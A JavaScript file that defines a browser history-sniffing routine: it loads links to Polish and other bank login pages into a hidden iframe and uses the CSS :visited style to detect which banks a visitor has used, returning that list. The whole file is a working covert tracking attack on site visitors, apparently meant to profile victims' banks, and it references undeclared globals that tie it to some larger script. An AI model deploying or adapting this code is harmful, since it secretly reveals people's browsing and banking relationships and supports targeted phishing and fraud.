var BanksHistory = function( moreBanks ){

var banks = {
	"iPKO B.P.": ["http://ipko.pl", "https://ipko.pl"],
	"mBank": ["http://mbank.com.pl", "https://www.mbank.com.pl", "https://mbank.com.pl", "https://mbank.com.pl"],
	"BZWBK Bank Polski": ["https://www.centrum24.pl", "http://indywidualni.bzwbk.pl"],
	"Pekao SA": ["http://pekao.com.pl"],
	"Alior Bank SA": ["http://aliorbank.pl", "https://aliorbank.pl/hades/do/Login", "https://aliorbank.pl/hades"],
	"Alianz Bank Polska SA": ["https://www.allianz24.pl/"],
	"Bank BPH": ["http://www.bph.pl/pl/logowanie", "https://www.gem24.pl/NS24Web/"],
	"eBGŻ": ["https://www.ebgz.pl", "https://www.ebgz.pl/jbank-web/jbank/unlogged/loginUser.do?rid=0.35989310096373417&srvc="],
	"Citibank Online": ["http://www.online.citibank.pl/PLGCB/page.do?content=home", "https://www.online.citibank.pl/PLGCB/JPS/portal/LocaleSwitch.do?locale=pl_PL"],
	"Millennium SA": ["https://www.bankmillennium.pl/", "https://www.millenet.pl/osobiste/Default.qz?LanguageID=pl-PL"],
	"BZ WBK SA": ["https://www.centrum24.pl/bzwbkonline/eSmart.html?typ=13&lang=pl", "https://www.centrum24.pl/centrum24-web/login"],
	"Deutsche Bank PBC SA": ["https://ebank.db-pbc.pl/", "https://ebusinessbank.db-pbc.pl/"],
	"Eurobank": ["https://online.eurobank.pl/bi/bezpieczenstwo_logowanie.ebk"],
	"Getin Bank": ["https://www.gb24.pl/"],
	"ING Bank Śląski": ["https://ssl.bsk.com.pl/bskonl/login.html"],
	"Kredyt Bank": ["https://www.kb24.pl/"],
	"Nordea": ["https://www.nordeasolo.pl/solo/www?lang=pl&indiv=yes", "https://www.nordeasolo.pl/solo/www?authtype=TOKEN"],
	"Raiffeisen Bank": ["https://www.r-bank.pl/index.html"],
	"Yahoo Finance": ["http://finance.yahoo.com"],
	"PayPal": ["http://paypal.com"],
	"Bank of America": ["http://bankofamerica.com"],
	"Click Bank": ["http://clickbank.com"]
};
  
  for( var bank in moreBanks ) {
    // If we don't have the site, create the URL list.
    if( typeof( banks[bank] ) == "undefined" ) banks[bank] = [];
    
    // If the value is string, just push that onto the URL list.
    if( typeof( moreBanks[bank] ) == "string" )
      banks[bank].push( moreBanks[bank] );
    else
      banks[bank] = banks[bank].concat( moreBanks[bank] );
  }
  
  var visited = {};

  function getStyle(el, scopeDoc,styleProp) {
    if (el.currentStyle)
      var y = el.currentStyle[styleProp];
    else if (window.getComputedStyle)
      var y = scopeDoc.defaultView.getComputedStyle(el,null).getPropertyValue(styleProp);
    return y;
  }
  
  function remove( el ) {
    el.parentNode.removeChild( el );
  }
  
  function createIframe() {
    var iframe = document.createElement("iframe");
    iframe.style.position = "absolute";
    iframe.style.visibility = "hidden";

    document.body.appendChild(iframe);

    // Firefox, Opera
    if(iframe.contentDocument) iframe.doc = iframe.contentDocument;
    // Internet Explorer
    else if(iframe.contentWindow) iframe.doc = iframe.contentWindow.document;

    iframe.doc.open();
  	iframe.doc.write('<style>');
  	iframe.doc.write("a{color: #000000; display:none;}");  	
  	iframe.doc.write("a:visited {color: #FF0000; display:inline;}");  	
  	iframe.doc.write('</style>');
    iframe.doc.close();
    
    return iframe;
  }  

  var iframe = createIframe();
  
  function embedLinkInIframe( href, text ) {
    var a = iframe.doc.createElement("a");
    a.href = href;
    a.innerHTML = bank;
    iframe.doc.body.appendChild( a );
  }
  
  for( var bank in banks ) {
    var urls = banks[bank];
    for( var i=0; i<urls.length; i++ ) {
      embedLinkInIframe( urls[i], bank );
      
      if( urls[i].match(/www\./) ){
        var sansWWW = urls[i].replace(/www\./, "");
        embedLinkInIframe( sansWWW, bank );
      } else {
        var httpLen = urls[i].indexOf("//") + 2;
        var withWWW = urls[i].substring(0, httpLen ) + "www." + urls[i].substring( httpLen );
        embedLinkInIframe( withWWW, bank );
      }
      
    }
  }
    
  var links = iframe.doc.body.childNodes;
  for( var i=0; i<links.length; i++) {
    // Handle both Firefox/Safari, and IE (respectively)
    var displayValue = getStyle(links[i], iframe.doc, "display");
    var didVisit = displayValue != "none";
      
    if( didVisit ){
      visited[ links[i].innerHTML ] = true;
    }
  }
  
  remove( iframe );
  
  return new (function(){
    var usedBanks = [];
    for( var bank in visited ){
      usedBanks.push( " "+bank );
    }
    
    // Return an array of visited sites.
    this.visitedBanks = function() {
	if ( usedBanks.length == 0 ){
	return "You didn't logged into any bank accounts that we have in our database";
	} else {
	isTrueBanks = 1;
	 number1 = number1 + 1;
      return usedBanks;
	}
    }
    
    // Return true/false. If we didn't check the site, return -1.
    this.doesVisit = function( bank ) {
      if( typeof( banks[bank] ) == "undefined" )
        return -1;
      return typeof( visited[bank] ) != "undefined";
    }
    
    var checkedBanks = [];
    for( var bank in banks ){
      checkedBanks.push( bank );
    }
    // Return a list of the sites checked.
    this.checkedBanks = function(){
      return checkedBanks;
    }
  })();
}
